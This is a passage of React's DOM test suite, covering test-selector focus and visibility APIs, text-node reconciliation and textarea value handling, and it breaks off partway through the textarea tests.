   expect(rects).toContainEqual({\n        x: 200,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n    });\n  });\n\n  describe('focusWithin', () => {\n    // @gate www || experimental\n    it('should return false if the specified component path has no matches', async () => {\n      function Example() {\n        return <Child />;\n      }\n      function Child() {\n        return null;\n      }\n      function NotUsed() {\n        return null;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const didFocus = focusWithin(document.body, [\n        createComponentSelector(Example),\n        createComponentSelector(NotUsed),\n      ]);\n      expect(didFocus).toBe(false);\n    });\n\n    // @gate www || experimental\n    it('should return false if there are no focusable elements within the matched subtree', async () => {\n      function Example() {\n        return <Child />;\n      }\n      function Child() {\n        return 'not focusable';\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const didFocus = focusWithin(document.body, [\n        createComponentSelector(Example),\n        createComponentSelector(Child),\n      ]);\n      expect(didFocus).toBe(false);\n    });\n\n    // @gate www || experimental\n    it('should return false if the only focusable elements are disabled', async () => {\n      function Example() {\n        return (\n          <button disabled={true} style={{width: 10, height: 10}}>\n            not clickable\n          </button>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const didFocus = focusWithin(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(didFocus).toBe(false);\n    });\n\n    // @gate www || experimental\n    it('should return false if the only focusable elements are hidden', async () => {\n      function Example() {\n        return <button hidden={true}>not clickable</button>;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const didFocus = focusWithin(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(didFocus).toBe(false);\n    });\n\n    // @gate www || experimental\n    it('should successfully focus the first focusable element within the tree', async () => {\n      const secondRef = React.createRef(null);\n\n      const handleFirstFocus = jest.fn();\n      const handleSecondFocus = jest.fn();\n      const handleThirdFocus = jest.fn();\n\n      function Example() {\n        return (\n          <>\n            <FirstChild />\n            <SecondChild />\n            <ThirdChild />\n          </>\n        );\n      }\n      function FirstChild() {\n        return (\n          <button hidden={true} onFocus={handleFirstFocus}>\n            not clickable\n          </button>\n        );\n      }\n      function SecondChild() {\n        return (\n          <button\n            ref={secondRef}\n            style={{width: 10, height: 10}}\n            onFocus={handleSecondFocus}>\n            clickable\n          </button>\n        );\n      }\n      function ThirdChild() {\n        return (\n          <button style={{width: 10, height: 10}} onFocus={handleThirdFocus}>\n            clickable\n          </button>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const didFocus = focusWithin(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(didFocus).toBe(true);\n      expect(document.activeElement).not.toBeNull();\n      expect(document.activeElement).toBe(secondRef.current);\n      expect(handleFirstFocus).not.toHaveBeenCalled();\n      expect(handleSecondFocus).toHaveBeenCalledTimes(1);\n      expect(handleThirdFocus).not.toHaveBeenCalled();\n    });\n\n    // @gate www || experimental\n    it('should successfully focus the first focusable element even if application logic interferes', async () => {\n      const ref = React.createRef(null);\n\n      const handleFocus = jest.fn(event => {\n        event.target.blur();\n      });\n\n      function Example() {\n        return (\n          <button\n            ref={ref}\n            style={{width: 10, height: 10}}\n            onFocus={handleFocus}>\n            clickable\n          </button>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const didFocus = focusWithin(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(didFocus).toBe(true);\n      expect(ref.current).not.toBeNull();\n      expect(ref.current).not.toBe(document.activeElement);\n      expect(handleFocus).toHaveBeenCalledTimes(1);\n    });\n\n    // @gate www || experimental\n    it('should not focus within hidden subtrees', async () => {\n      const secondRef = React.createRef(null);\n\n      const handleFirstFocus = jest.fn();\n      const handleSecondFocus = jest.fn();\n      const handleThirdFocus = jest.fn();\n\n      function Example() {\n        return (\n          <>\n            <FirstChild />\n            <SecondChild />\n            <ThirdChild />\n          </>\n        );\n      }\n      function FirstChild() {\n        return (\n          <div hidden={true}>\n            <button style={{width: 10, height: 10}} onFocus={handleFirstFocus}>\n              hidden\n            </button>\n          </div>\n        );\n      }\n      function SecondChild() {\n        return (\n          <button\n            ref={secondRef}\n            style={{width: 10, height: 10}}\n            onFocus={handleSecondFocus}>\n            clickable\n          </button>\n        );\n      }\n      function ThirdChild() {\n        return (\n          <button style={{width: 10, height: 10}} onFocus={handleThirdFocus}>\n            clickable\n          </button>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const didFocus = focusWithin(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(didFocus).toBe(true);\n      expect(document.activeElement).not.toBeNull();\n      expect(document.activeElement).toBe(secondRef.current);\n      expect(handleFirstFocus).not.toHaveBeenCalled();\n      expect(handleSecondFocus).toHaveBeenCalledTimes(1);\n      expect(handleThirdFocus).not.toHaveBeenCalled();\n    });\n  });\n\n  describe('observeVisibleRects', () => {\n    let observerMock;\n\n    beforeEach(() => {\n      observerMock = mockIntersectionObserver();\n    });\n\n    // @gate www || experimental\n    it('should notify a listener when the underlying instance intersection changes', async () => {\n      const ref = React.createRef(null);\n\n      function Example() {\n        return <div ref={ref} />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      // Stub out the size of the element this test will be observing.\n      const rect = {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      setBoundingClientRect(ref.current, rect);\n\n      const handleVisibilityChange = jest.fn();\n      observeVisibleRects(\n        document.body,\n        [createComponentSelector(Example)],\n        handleVisibilityChange,\n      );\n\n      expect(observerMock.callback).not.toBeNull();\n      expect(observerMock.observedTargets).toHaveLength(1);\n      expect(handleVisibilityChange).not.toHaveBeenCalled();\n\n      // Simulate IntersectionObserver notification.\n      simulateIntersection([ref.current, rect, 0.5]);\n\n      expect(handleVisibilityChange).toHaveBeenCalledTimes(1);\n      expect(handleVisibilityChange).toHaveBeenCalledWith([{rect, ratio: 0.5}]);\n    });\n\n    // @gate www || experimental\n    it('should notify a listener of multiple targets when the underlying instance intersection changes', async () => {\n      const ref1 = React.createRef(null);\n      const ref2 = React.createRef(null);\n\n      function Example() {\n        return (\n          <>\n            <div ref={ref1} />\n            <div ref={ref2} />\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      // Stub out the size of the element this test will be observing.\n      const rect1 = {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      let rect2 = {\n        x: 210,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      setBoundingClientRect(ref1.current, rect1);\n      setBoundingClientRect(ref2.current, rect2);\n\n      const handleVisibilityChange = jest.fn();\n      observeVisibleRects(\n        document.body,\n        [createComponentSelector(Example)],\n        handleVisibilityChange,\n      );\n\n      expect(observerMock.callback).not.toBeNull();\n      expect(observerMock.observedTargets).toHaveLength(2);\n      expect(handleVisibilityChange).not.toHaveBeenCalled();\n\n      // Simulate IntersectionObserver notification.\n      simulateIntersection([ref1.current, rect1, 0.5]);\n\n      // Even though only one of the rects changed intersection,\n      // the test selector should describe the current state of both.\n      expect(handleVisibilityChange).toHaveBeenCalledTimes(1);\n      expect(handleVisibilityChange).toHaveBeenCalledWith([\n        {rect: rect1, ratio: 0.5},\n        {rect: rect2, ratio: 0},\n      ]);\n\n      handleVisibilityChange.mockClear();\n\n      rect2 = {\n        x: 210,\n        y: 20,\n        width: 200,\n        height: 200,\n      };\n\n      // Simulate another IntersectionObserver notification.\n      simulateIntersection(\n        [ref1.current, rect1, 1],\n        [ref2.current, rect2, 0.25],\n      );\n\n      // The newly changed display rect should also be provided for the second target.\n      expect(handleVisibilityChange).toHaveBeenCalledTimes(1);\n      expect(handleVisibilityChange).toHaveBeenCalledWith([\n        {rect: rect1, ratio: 1},\n        {rect: rect2, ratio: 0.25},\n      ]);\n    });\n\n    // @gate www || experimental\n    it('should stop listening when its disconnected', async () => {\n      const ref = React.createRef(null);\n\n      function Example() {\n        return <div ref={ref} />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      // Stub out the size of the element this test will be observing.\n      const rect = {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      setBoundingClientRect(ref.current, rect);\n\n      const handleVisibilityChange = jest.fn();\n      const {disconnect} = observeVisibleRects(\n        document.body,\n        [createComponentSelector(Example)],\n        handleVisibilityChange,\n      );\n\n      expect(observerMock.callback).not.toBeNull();\n      expect(observerMock.observedTargets).toHaveLength(1);\n      expect(handleVisibilityChange).not.toHaveBeenCalled();\n\n      disconnect();\n      expect(observerMock.callback).toBeNull();\n    });\n\n    // This test reuires gating because it relies on the __DEV__ only commit hook to work.\n    // @gate www || experimental && __DEV__\n    it('should update which targets its listening to after a commit', async () => {\n      const ref1 = React.createRef(null);\n      const ref2 = React.createRef(null);\n\n      let increment;\n\n      function Example() {\n        const [count, setCount] = React.useState(0);\n        increment = () => setCount(count + 1);\n        return (\n          <>\n            {count < 2 && <div ref={ref1} />}\n            {count > 0 && <div ref={ref2} />}\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      // Stub out the size of the element this test will be observing.\n      const rect1 = {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      setBoundingClientRect(ref1.current, rect1);\n\n      const handleVisibilityChange = jest.fn();\n      observeVisibleRects(\n        document.body,\n        [createComponentSelector(Example)],\n        handleVisibilityChange,\n      );\n\n      // Simulate IntersectionObserver notification.\n      simulateIntersection([ref1.current, rect1, 1]);\n\n      expect(handleVisibilityChange).toHaveBeenCalledTimes(1);\n      expect(handleVisibilityChange).toHaveBeenCalledWith([\n        {rect: rect1, ratio: 1},\n      ]);\n\n      await act(() => increment());\n\n      const rect2 = {\n        x: 110,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      setBoundingClientRect(ref2.current, rect2);\n\n      handleVisibilityChange.mockClear();\n\n      simulateIntersection(\n        [ref1.current, rect1, 0.5],\n        [ref2.current, rect2, 0.25],\n      );\n\n      expect(handleVisibilityChange).toHaveBeenCalledTimes(1);\n      expect(handleVisibilityChange).toHaveBeenCalledWith([\n        {rect: rect1, ratio: 0.5},\n        {rect: rect2, ratio: 0.25},\n      ]);\n\n      await act(() => increment());\n\n      handleVisibilityChange.mockClear();\n\n      simulateIntersection([ref2.current, rect2, 0.75]);\n\n      expect(handleVisibilityChange).toHaveBeenCalledTimes(1);\n      expect(handleVisibilityChange).toHaveBeenCalledWith([\n        {rect: rect2, ratio: 0.75},\n      ]);\n    });\n\n    // @gate www || experimental\n    it('should not observe components within hidden subtrees', async () => {\n      const ref1 = React.createRef(null);\n      const ref2 = React.createRef(null);\n\n      function Example() {\n        return (\n          <>\n            <div ref={ref1} />\n            <div hidden={true} ref={ref2} />\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      // Stub out the size of the element this test will be observing.\n      const rect1 = {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      const rect2 = {\n        x: 210,\n        y: 20,\n        width: 200,\n        height: 100,\n      };\n      setBoundingClientRect(ref1.current, rect1);\n      setBoundingClientRect(ref2.current, rect2);\n\n      const handleVisibilityChange = jest.fn();\n      observeVisibleRects(\n        document.body,\n        [createComponentSelector(Example)],\n        handleVisibilityChange,\n      );\n\n      expect(observerMock.callback).not.toBeNull();\n      expect(observerMock.observedTargets).toHaveLength(1);\n      expect(observerMock.observedTargets[0]).toBe(ref1.current);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMTextComponent-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet act;\n\ndescribe('ReactDOMTextComponent', () => {\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n  });\n\n  it('updates a mounted text component in place', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <span />\n          {'foo'}\n          {'bar'}\n        </div>,\n      );\n    });\n    let inst = container.firstChild;\n    let nodes = inst.childNodes;\n\n    const foo = nodes[1];\n    const bar = nodes[2];\n    expect(foo.data).toBe('foo');\n    expect(bar.data).toBe('bar');\n\n    await act(() => {\n      root.render(\n        <div>\n          <span />\n          {'baz'}\n          {'qux'}\n        </div>,\n      );\n    });\n    inst = container.firstChild;\n    // After the update, the text nodes should have stayed in place (as opposed\n    // to getting unmounted and remounted)\n    nodes = inst.childNodes;\n    expect(nodes[1]).toBe(foo);\n    expect(nodes[2]).toBe(bar);\n    expect(foo.data).toBe('baz');\n    expect(bar.data).toBe('qux');\n  });\n\n  it('can be toggled in and out of the markup', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          {'foo'}\n          <div />\n          {'bar'}\n        </div>,\n      );\n    });\n    let inst = container.firstChild;\n\n    let childNodes = inst.childNodes;\n    const childDiv = childNodes[1];\n\n    await act(() => {\n      root.render(\n        <div>\n          {null}\n          <div />\n          {null}\n        </div>,\n      );\n    });\n    inst = container.firstChild;\n    childNodes = inst.childNodes;\n    expect(childNodes.length).toBe(1);\n    expect(childNodes[0]).toBe(childDiv);\n\n    await act(() => {\n      root.render(\n        <div>\n          {'foo'}\n          <div />\n          {'bar'}\n        </div>,\n      );\n    });\n    inst = container.firstChild;\n    childNodes = inst.childNodes;\n    expect(childNodes.length).toBe(3);\n    expect(childNodes[0].data).toBe('foo');\n    expect(childNodes[1]).toBe(childDiv);\n    expect(childNodes[2].data).toBe('bar');\n  });\n\n  /**\n   * The following Node.normalize() tests are intentionally failing.\n   * See https://github.com/facebook/react/issues/9836 tracking whether we'll need to fix this or if it's unnecessary.\n   */\n  // @gate TODO\n  it('can reconcile text merged by Node.normalize() alongside other elements', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          {'foo'}\n          {'bar'}\n          {'baz'}\n          <span />\n          {'qux'}\n        </div>,\n      );\n    });\n\n    const inst = container.firstChild;\n\n    inst.normalize();\n\n    await act(() => {\n      root.render(\n        <div>\n          {'bar'}\n          {'baz'}\n          {'qux'}\n          <span />\n          {'foo'}\n        </div>,\n        container,\n      );\n    });\n    expect(inst.textContent).toBe('barbazquxfoo');\n  });\n\n  // @gate TODO\n  it('can reconcile text merged by Node.normalize()', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          {'foo'}\n          {'bar'}\n          {'baz'}\n        </div>,\n      );\n    });\n    let inst = container.firstChild;\n\n    inst.normalize();\n\n    await act(() => {\n      root.render(\n        <div>\n          {'bar'}\n          {'baz'}\n          {'qux'}\n        </div>,\n        container,\n      );\n    });\n    inst = container.firstChild;\n    expect(inst.textContent).toBe('barbazqux');\n  });\n\n  it('can reconcile text from pre-rendered markup', async () => {\n    const container = document.createElement('div');\n    let children = (\n      <div>\n        {'foo'}\n        {'bar'}\n        {'baz'}\n      </div>\n    );\n    container.innerHTML = ReactDOMServer.renderToString(children);\n\n    const root = await act(() => {\n      return ReactDOMClient.hydrateRoot(container, children);\n    });\n    expect(container.textContent).toBe('foobarbaz');\n\n    await act(() => {\n      root.unmount();\n    });\n\n    children = (\n      <div>\n        {''}\n        {''}\n        {''}\n      </div>\n    );\n    container.innerHTML = ReactDOMServer.renderToString(children);\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, children);\n    });\n    expect(container.textContent).toBe('');\n  });\n\n  // @gate TODO\n  it('can reconcile text arbitrarily split into multiple nodes', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <div>\n          <span />\n          {'foobarbaz'}\n        </div>,\n      );\n    });\n    let inst = container.firstChild;\n\n    const childNodes = inst.childNodes;\n    const textNode = childNodes[1];\n    textNode.textContent = 'foo';\n    inst.insertBefore(\n      document.createTextNode('bar'),\n      childNodes[1].nextSibling,\n    );\n    inst.insertBefore(\n      document.createTextNode('baz'),\n      childNodes[1].nextSibling,\n    );\n\n    await act(() => {\n      root.render(\n        <div>\n          <span />\n          {'barbazqux'}\n        </div>,\n        container,\n      );\n    });\n    inst = container.firstChild;\n    expect(inst.textContent).toBe('barbazqux');\n  });\n\n  // @gate TODO\n  it('can reconcile text arbitrarily split into multiple nodes on some substitutions only', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <span />\n          {'bar'}\n          <span />\n          {'foobarbaz'}\n          {'foo'}\n          {'barfoo'}\n          <span />\n        </div>,\n      );\n    });\n\n    let inst = container.firstChild;\n\n    const childNodes = inst.childNodes;\n    const textNode = childNodes[3];\n    textNode.textContent = 'foo';\n    inst.insertBefore(\n      document.createTextNode('bar'),\n      childNodes[3].nextSibling,\n    );\n    inst.insertBefore(\n      document.createTextNode('baz'),\n      childNodes[3].nextSibling,\n    );\n    const secondTextNode = childNodes[5];\n    secondTextNode.textContent = 'bar';\n    inst.insertBefore(\n      document.createTextNode('foo'),\n      childNodes[5].nextSibling,\n    );\n\n    await act(() => {\n      root.render(\n        <div>\n          <span />\n          {'baz'}\n          <span />\n          {'barbazqux'}\n          {'bar'}\n          {'bazbar'}\n          <span />\n        </div>,\n        container,\n      );\n    });\n    inst = container.firstChild;\n    expect(inst.textContent).toBe('bazbarbazquxbarbazbar');\n  });\n\n  // @gate TODO\n  it('can unmount normalized text nodes', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          {''}\n          {'foo'}\n          {'bar'}\n        </div>,\n      );\n    });\n\n    container.normalize();\n    await act(() => {\n      root.render(<div />);\n    });\n\n    expect(container.innerHTML).toBe('<div></div>');\n  });\n\n  it('throws for Temporal-like text nodes', async () => {\n    const container = document.createElement('div');\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<div>{new TemporalLike()}</div>);\n      }),\n    ).rejects.toThrowError(\n      new Error(\n        'Objects are not valid as a React child (found: object with keys {}).' +\n          ' If you meant to render a collection of children, use an array instead.',\n      ),\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMTextarea-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nfunction emptyFunction() {}\n\ndescribe('ReactDOMTextarea', () => {\n  let React;\n  let ReactDOMClient;\n  let ReactDOMServer;\n  let act;\n  let assertConsoleErrorDev;\n\n  let renderTextarea;\n\n  const ReactFeatureFlags = require('shared/ReactFeatureFlags');\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    renderTextarea = async function (component, container, root) {\n      await act(() => {\n        root.render(component);\n      });\n\n      const node = container.firstChild;\n\n      // Fixing jsdom's quirky behavior -- in reality, the parser should strip\n      // off the leading newline but we need to do it by hand here.\n      node.defaultValue = node.innerHTML.replace(/^\\n/, '');\n      return node;\n    };\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  it('should allow setting `defaultValue`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea defaultValue=\"giraffe\" />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('giraffe');\n\n    // Changing `defaultValue` should do nothing.\n    await renderTextarea(<textarea defaultValue=\"gorilla\" />, container, root);\n    expect(node.value).toEqual('giraffe');\n\n    node.value = 'cat';\n\n    await renderTextarea(<textarea defaultValue=\"monkey\" />, container, root);\n    expect(node.value).toEqual('cat');\n  });\n\n  it('should display `defaultValue` of number 0', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea defaultValue={0} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('0');\n  });\n\n  it('should display `defaultValue` of bigint 0', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea defaultValue={0n} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('0');\n  });\n\n  it('should display \"false\" for `defaultValue` of `false`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea defaultValue={false} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('false');\n  });\n\n  it('should display \"foobar\" for `defaultValue` of `objToString`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const objToString = {\n      toString: function () {\n        return 'foobar';\n      },\n    };\n    const node = await renderTextarea(\n      <textarea defaultValue={objToString} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('foobar');\n  });\n\n  it('should set defaultValue', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea defaultValue=\"foo\" />);\n    });\n    await act(() => {\n      root.render(<textarea defaultValue=\"bar\" />);\n    });\n    await act(() => {\n      root.render(<textarea defaultValue=\"noise\" />);\n    });\n\n    expect(container.firstChild.defaultValue).toBe('noise');\n  });\n\n  it('should not render value as an attribute', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"giraffe\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.getAttribute('value')).toBe(null);\n  });\n\n  it('should display `value` of number 0', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value={0} onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('0');\n  });\n\n  it('should update defaultValue to empty string', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea defaultValue={'foo'} />);\n    });\n\n    await act(() => {\n      root.render(<textarea defaultValue={''} />);\n    });\n\n    expect(container.firstChild.defaultValue).toBe('');\n  });\n\n  it('should allow setting `value` to `giraffe`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"giraffe\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('giraffe');\n\n    await act(() => {\n      root.render(<textarea value=\"gorilla\" onChange={emptyFunction} />);\n    });\n\n    expect(node.value).toEqual('gorilla');\n  });\n\n  it('will not initially assign an empty value (covers case where firefox throws a validation error when required attribute is set)', async () => {\n    const container = document.createElement('div');\n\n    let counter = 0;\n    const originalCreateElement = document.createElement;\n    spyOnDevAndProd(document, 'createElement').mockImplementation(\n      function (type) {\n        const el = originalCreateElement.apply(this, arguments);\n        let value = '';\n        if (type === 'textarea') {\n          Object.defineProperty(el, 'value', {\n            get: function () {\n              return value;\n            },\n            set: function (val) {\n              value = String(val);\n              counter++;\n            },\n          });\n        }\n        return el;\n      },\n    );\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea value=\"\" readOnly={true} />);\n    });\n\n    expect(counter).toEqual(0);\n  });\n\n  it('should render defaultValue for SSR', () => {\n    const markup = ReactDOMServer.renderToString(<textarea defaultValue=\"1\" />);\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.innerHTML).toBe('1');\n    expect(div.firstChild.getAttribute('defaultValue')).toBe(null);\n  });\n\n  it('should render value for SSR', () => {\n    const element = <textarea value=\"1\" onChange={function () {}} />;\n    const markup = ReactDOMServer.renderToString(element);\n    const div = document.createElement('div');\n    div.innerHTML = markup;\n    expect(div.firstChild.innerHTML).toBe('1');\n    expect(div.firstChild.getAttribute('defaultValue')).toBe(null);\n  });\n\n  it('should allow setting `value` to `true`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"giraffe\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('giraffe');\n\n    await act(() => {\n      root.render(<textarea value={true} onChange={emptyFunction} />);\n    });\n\n    expect(node.value).toEqual('true');\n  });\n\n  it('should allow setting `value` to `false`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"giraffe\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('giraffe');\n\n    await act(() => {\n      root.render(<textarea value={false} onChange={emptyFunction} />);\n    });\n\n    expect(node.value).toEqual('false');\n  });\n\n  it('should allow setting `value` to `objToString`', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"giraffe\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('giraffe');\n\n    const objToString = {\n      toString: function () {\n        return 'foo';\n      },\n    };\n\n    await act(() => {\n      root.render(<textarea value={objToString} onChange={emptyFunction} />);\n    });\n\n    expect(node.value).toEqual('foo');\n  });\n\n  it('should throw when value is set to a Temporal-like object', async () => {\n    class TemporalLike {\n      valueOf() {\n        // Throwing here is the behavior of ECMAScript \"Temporal\" date/time API.\n        // See https://tc39.es/proposal-temporal/docs/plaindate.html#valueOf\n        throw new TypeError('prod message');\n      }\n      toString() {\n        return '2020-01-01';\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    const node = await renderTextarea(\n      <textarea value=\"giraffe\" onChange={emptyFunction} />,\n      container,\n      root,\n    );\n\n    expect(node.value).toBe('giraffe');\n\n    const test = async () => {\n      await act(() => {\n        root.render(\n          <textarea value={new TemporalLike()} onChange={emptyFunction} />,\n        );\n      });\n    };\n    await expect(test).rejects.toThrowError(new TypeError('prod message'));\n    assertConsoleErrorDev([\n      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +\n        'strings, not TemporalLike. This value must be coerced to a string before using it here.\\n' +\n        '    in textarea (at **',\n    ]);\n  });\n\n  it('should take updates to `defaultValue` for uncontrolled textarea', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea defaultValue=\"0\" />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n\n    await act(() => {\n      root.render(<textarea defaultValue=\"1\" />);\n    });\n\n    expect(node.value).toBe('0');\n  });\n\n  it('should take updates to children in lieu of `defaultValue` for uncontrolled textarea', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea defaultValue=\"0\" />);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('0');\n\n    await act(() => {\n      root.render(<textarea>1</textarea>);\n    });\n\n    expect(node.value).toBe('0');\n  });\n\n  it('should not incur unnecessary DOM mutations', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<textarea value=\"a\" onChange={emptyFunction} />);\n    });\n\n    const node = container.firstChild;\n    let nodeValue = 'a';\n    const nodeValueSetter = jest.fn();\n    Object.defineProperty(node, 'value', {\n      get: function () {\n        return nodeValue;\n      },\n      set: nodeValueSetter.mockImplementation(function (newValue) {\n        nodeValue = newValue;\n      }),\n    });\n\n    await act(() => {\n      root.render(<textarea value=\"a\" onChange={emptyFunction} />);\n    });\n\n    expect(nodeValueSetter).toHaveBeenCalledTimes(0);\n\n    await act(() => {\n      root.render(<textarea value=\"b\" onChange={emptyFunction} />);\n    });\n\n    expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n  });\n\n  it('should properly control a value of number `0`', async () => {\n    const setUntrackedValue = Object.getOwnPropertyDescriptor(\n      HTMLTextAreaElement.prototype,\n      'value',\n    ).set;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    document.body.appendChild(container);\n\n    try {\n      const node = await renderTextarea(\n        <textarea value={0} onChange={emptyFunction} />,\n        container,\n        root,\n      );\n\n      setUntrackedValue.call(node, 'giraffe');\n      node.dispatchEvent(\n        new Event('input', {bubbles: true, cancelable: false}),\n      );\n      expect(node.value).toBe('0');\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  if (ReactFeatureFlags.disableTextareaChildren) {\n    it('should ignore children content', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const node = await renderTextarea(\n        <textarea>giraffe</textarea>,\n        container,\n        root,\n      );\n      assertConsoleErrorDev([\n        'Use the 